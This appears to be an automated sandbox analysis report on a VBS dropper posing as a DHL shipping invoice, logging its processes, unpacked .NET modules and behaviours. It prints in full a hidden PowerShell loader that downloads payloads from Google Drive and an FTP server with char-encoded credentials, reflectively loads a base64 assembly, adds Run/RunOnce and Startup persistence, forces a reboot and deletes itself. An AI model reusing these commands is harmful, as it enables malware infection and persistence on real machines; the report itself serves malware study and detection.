Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

23_2_0041CBE1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B880942 push E95B7DD0h; ret	1_2_00007FFD9B8809C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B95235D push 8B485F94h; retf	3_2_00007FFD9B952365
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B9523A3 push 8B485F94h; iretd	3_2_00007FFD9B9523AB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B79D2A5 pushad ; iretd	4_2_00007FFD9B79D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B85AB push ebx; ret	4_2_00007FFD9B8B85AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B859D push ebx; ret	4_2_00007FFD9B8B85AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B84FA push ebx; ret	4_2_00007FFD9B8B851A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B851B push ebx; ret	4_2_00007FFD9B8B851A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B77D2A5 pushad ; iretd	5_2_00007FFD9B77D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8985AB push ebx; ret	5_2_00007FFD9B8985AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B89859D push ebx; ret	5_2_00007FFD9B8985AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8984FA push ebx; ret	5_2_00007FFD9B89851A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B89851B push ebx; ret	5_2_00007FFD9B89851A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B8915C5 pushad ; ret	8_2_00007FFD9B89160D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B8A613C push ebp; ret	13_2_00007FFD9B8A61D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10002806 push ecx; ret	21_2_10002819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10009FD8 push esi; ret	21_2_10009FD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00457186 push ecx; ret	23_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041C7F3 push eax; retf	23_2_0041C7FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00457AA8 push eax; ret	23_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00434EB6 push ecx; ret	23_2_00434EC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044693D push ecx; ret	29_2_0044694D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044DB70 push eax; ret	29_2_0044DB84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044DB70 push eax; ret	29_2_0044DBAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00451D54 push eax; ret	29_2_00451D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0044B090 push eax; ret	30_2_0044B0A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0044B090 push eax; ret	30_2_0044B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00444E71 push ecx; ret	30_2_00444E81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00414060 push eax; ret	31_2_00414074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00414060 push eax; ret	31_2_0041409C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00414039 push ecx; ret	31_2_00414049

Source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
Source: 13.2.powershell.exe.1ab88b90000.0.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 13.2.powershell.exe.1ab88b90000.0.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 13.2.powershell.exe.1ab88b90000.0.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 13.2.powershell.exe.1ab88b90000.0.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
Source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
Source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
Source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'
Source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, -.cs	High entropy of concatenated method names: '_FDD0', '_FDD1', 'fNQ3vNNDv6U0WqTxZd9', 'cyDIAkNOmObm7jGqRi4', 't3r3mSNbOwaVBSXXsKt', 'FBTuXeNcfPgojjBNS9c', 'gr6bLqNKA2Mf7CYjeeS', 'YJ6ZkcNZQGljuwdmNyV', 'F4vJZVN0sVI3L4ccWTk', 'VXJrWWNv81UZUpU6gEk'
Source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, Class1.cs	High entropy of concatenated method names: 'LoadLibraryA', 'GetProcAddress', '_FDD0', 'Run', 'NaeVj', 'SIoarRPDr4r1ZdWrB7', 'wDwbR3iQ5FfVMyg8sc', 'sIYmqbkgG6eTiSpFY6', 'Jqs27YIlcdNIwDmSv7', 'NIyXJr8Zu7JgYf5gfb'
Source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, MyProject.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', '_FDD0', '_FDD0', 'yd8kE0NfH8wVBwFXOjJ', 'N4eNu4N2YBQGnJOoJl3', 'rhyp8qNS20i4Pq8grwf', 'h91HQtNh6aBRjICtnf9'
Source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, eBAeUnDesS152cY3JS.cs	High entropy of concatenated method names: 'GFEY00HgIG', 'trOYewN6Sv4lUl1fxgB', 'Js5cEFNVOp3q6iY7P1O', 'tNtx94N3ASwduUbVPKr', 'VbaF61Na11NOutaTWaq', 'c298ZdNzHxbiP4rApFo', 'xwY3k6NtfQOw585Tjle', 'oyW3aRNgtsE9FU5JOAs', 'oNXKopYL2EjmjVh1ARw'

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_00406EEB ShellExecuteW,URLDownloadToFileW,

23_2_00406EEB

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

23_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_zhs	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_fdm	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Self deletion via cmd or bat file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: cmd.exe /c del "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: cmd.exe /c del "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

23_2_0041CBE1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
